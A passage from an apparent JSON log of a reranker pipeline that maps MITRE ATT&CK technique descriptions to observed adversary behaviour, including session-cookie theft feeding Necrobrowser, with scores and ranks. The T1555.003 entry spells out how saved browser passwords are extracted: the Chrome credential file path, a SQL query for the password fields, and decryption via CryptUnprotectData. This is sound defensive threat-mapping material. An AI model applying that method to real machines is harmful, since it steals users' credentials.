victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.006", + "text": "ATT&CK technique: T1608.006 SEO Poisoning\nDescription: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms. To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news). In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors. Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation. SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1016.001", + "text": "ATT&CK technique: T1016.001 Internet Connection Discovery\nDescription: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth. Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\nTactics: discovery\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1682", + "text": "ATT&CK technique: T1682 Query Public AI Services\nDescription: Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion. Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.004", + "text": "ATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1589.002", + "text": "ATT&CK technique: T1589.002 Email Addresses\nDescription: Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591.001", + "text": "ATT&CK technique: T1591.001 Determine Physical Locations\nDescription: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1496.002", + "text": "ATT&CK technique: T1496.002 Bandwidth Hijacking\nDescription: Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents. Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services. Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise. In addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.\nTactics: impact\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1588.002", + "text": "ATT&CK technique: T1588.002 Tool\nDescription: Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications. Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.003", + "text": "ATT&CK technique: T1592.003 Firmware\nDescription: Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.001", + "text": "ATT&CK technique: T1588.001 Malware\nDescription: Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.005", + "text": "ATT&CK technique: T1584.005 Botnet\nDescription: Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.007", + "text": "ATT&CK technique: T1583.007 Serverless\nDescription: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.007", + "text": "ATT&CK technique: T1584.007 Serverless\nDescription: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1593.002", + "score": 0.89453125, + "rank": 0 + }, + { + "item_id": "T1595.003", + "score": 0.73046875, + "rank": 1 + }, + { + "item_id": "T1595.002", + "score": 0.65234375, + "rank": 2 + }, + { + "item_id": "T1594", + "score": 0.5625, + "rank": 3 + }, + { + "item_id": "T1593", + "score": 0.5625, + "rank": 4 + }, + { + "item_id": "T1608.006", + "score": 0.439453125, + "rank": 5 + }, + { + "item_id": "T1659", + "score": 0.173828125, + "rank": 6 + }, + { + "item_id": "T1590", + "score": 0.15625, + "rank": 7 + }, + { + "item_id": "T1592", + "score": 0.125, + "rank": 8 + }, + { + "item_id": "T1583.004", + "score": 0.125, + "rank": 9 + }, + { + "item_id": "T1595", + "score": 0.1123046875, + "rank": 10 + }, + { + "item_id": "T1596.005", + "score": 0.0419921875, + "rank": 11 + }, + { + "item_id": "T1608.004", + "score": 0.039306640625, + "rank": 12 + }, + { + "item_id": "T1584.004", + "score": 0.02587890625, + "rank": 13 + }, + { + "item_id": "T1596.004", + "score": 0.0242919921875, + "rank": 14 + }, + { + "item_id": "T1596", + "score": 0.023193359375, + "rank": 15 + }, + { + "item_id": "T1071", + "score": 0.021728515625, + "rank": 16 + }, + { + "item_id": "T1583.007", + "score": 0.021728515625, + "rank": 17 + }, + { + "item_id": "T1592.002", + "score": 0.0177001953125, + "rank": 18 + }, + { + "item_id": "T1593.001", + "score": 0.015625, + "rank": 19 + }, + { + "item_id": "T1190", + "score": 0.01519775390625, + "rank": 20 + }, + { + "item_id": "T1046", + "score": 0.013427734375, + "rank": 21 + }, + { + "item_id": "T1036.012", + "score": 0.0118408203125, + "rank": 22 + }, + { + "item_id": "T1595.001", + "score": 0.01043701171875, + "rank": 23 + }, + { + "item_id": "T1584.007", + "score": 0.01043701171875, + "rank": 24 + }, + { + "item_id": "T1189", + "score": 0.0086669921875, + "rank": 25 + }, + { + "item_id": "T1608", + "score": 0.0086669921875, + "rank": 26 + }, + { + "item_id": "T1016.001", + "score": 0.00762939453125, + "rank": 27 + }, + { + "item_id": "T1590.001", + "score": 0.007171630859375, + "rank": 28 + }, + { + "item_id": "T1590.004", + "score": 0.006744384765625, + "rank": 29 + }, + { + "item_id": "T1589", + "score": 0.005950927734375, + "rank": 30 + }, + { + "item_id": "T1590.006", + "score": 0.005950927734375, + "rank": 31 + }, + { + "item_id": "T1592.004", + "score": 0.005584716796875, + "rank": 32 + }, + { + "item_id": "T1596.001", + "score": 0.005584716796875, + "rank": 33 + }, + { + "item_id": "T1597.002", + "score": 0.005584716796875, + "rank": 34 + }, + { + "item_id": "T1496.002", + "score": 0.004638671875, + "rank": 35 + }, + { + "item_id": "T1589.002", + "score": 0.004364013671875, + "rank": 36 + }, + { + "item_id": "T1090", + "score": 0.00384521484375, + "rank": 37 + }, + { + "item_id": "T1583.006", + "score": 0.00384521484375, + "rank": 38 + }, + { + "item_id": "T1592.001", + "score": 0.00360107421875, + "rank": 39 + }, + { + "item_id": "T1596.003", + "score": 0.003387451171875, + "rank": 40 + }, + { + "item_id": "T1036", + "score": 0.0031890869140625, + "rank": 41 + }, + { + "item_id": "T1059", + "score": 0.0031890869140625, + "rank": 42 + }, + { + "item_id": "T1217", + "score": 0.0031890869140625, + "rank": 43 + }, + { + "item_id": "T1596.002", + "score": 0.00299072265625, + "rank": 44 + }, + { + "item_id": "T1608.005", + "score": 0.0028076171875, + "rank": 45 + }, + { + "item_id": "T1590.005", + "score": 0.002716064453125, + "rank": 46 + }, + { + "item_id": "T1584", + "score": 0.0026397705078125, + "rank": 47 + }, + { + "item_id": "T1584.005", + "score": 0.0026397705078125, + "rank": 48 + }, + { + "item_id": "T1598.003", + "score": 0.002471923828125, + "rank": 49 + }, + { + "item_id": "T1682", + "score": 0.002471923828125, + "rank": 50 + }, + { + "item_id": "T1588.002", + "score": 0.002471923828125, + "rank": 51 + }, + { + "item_id": "T1590.003", + "score": 0.00225830078125, + "rank": 52 + }, + { + "item_id": "T1608.002", + "score": 0.00225830078125, + "rank": 53 + }, + { + "item_id": "T1681", + "score": 0.0021820068359375, + "rank": 54 + }, + { + "item_id": "T1591.001", + "score": 0.00186920166015625, + "rank": 55 + }, + { + "item_id": "T1518", + "score": 0.0016021728515625, + "rank": 56 + }, + { + "item_id": "T1588.007", + "score": 0.0016021728515625, + "rank": 57 + }, + { + "item_id": "T1056.003", + "score": 0.00154876708984375, + "rank": 58 + }, + { + "item_id": "T1027", + "score": 0.00145721435546875, + "rank": 59 + }, + { + "item_id": "T1614", + "score": 0.00141143798828125, + "rank": 60 + }, + { + "item_id": "T1566", + "score": 0.00116729736328125, + "rank": 61 + }, + { + "item_id": "T1056", + "score": 0.000911712646484375, + "rank": 62 + }, + { + "item_id": "T1587", + "score": 0.000858306884765625, + "rank": 63 + }, + { + "item_id": "T1592.003", + "score": 0.00075531005859375, + "rank": 64 + }, + { + "item_id": "T1571", + "score": 0.00058746337890625, + "rank": 65 + }, + { + "item_id": "T1140", + "score": 0.000518798828125, + "rank": 66 + }, + { + "item_id": "T1132", + "score": 0.000518798828125, + "rank": 67 + }, + { + "item_id": "T1588.001", + "score": 0.00048828125, + "rank": 68 + }, + { + "item_id": "T1082", + "score": 0.000431060791015625, + "rank": 69 + }, + { + "item_id": "T1480", + "score": 0.000431060791015625, + "rank": 70 + }, + { + "item_id": "T1105", + "score": 0.000392913818359375, + "rank": 71 + }, + { + "item_id": "T1573.002", + "score": 0.000392913818359375, + "rank": 72 + }, + { + "item_id": "T1573", + "score": 0.0003795623779296875, + "rank": 73 + }, + { + "item_id": "T1588", + "score": 0.000278472900390625, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 25502 + } + }, + "evidence_sha256": "75a70cdbcb6e29dd13cd5d03fa2f7e86e6cdb2b24e8fdbaf9b795612bb3ffe6c" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 845.7, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Once the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser" + }, + "items": [ + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS\nLabeled report example: | T1503 | Credentials from Web Browsers |" + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: The full list of web injects for this Osiris instance is shown [here](https://pastebin.com/tTxmjA1K)." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens 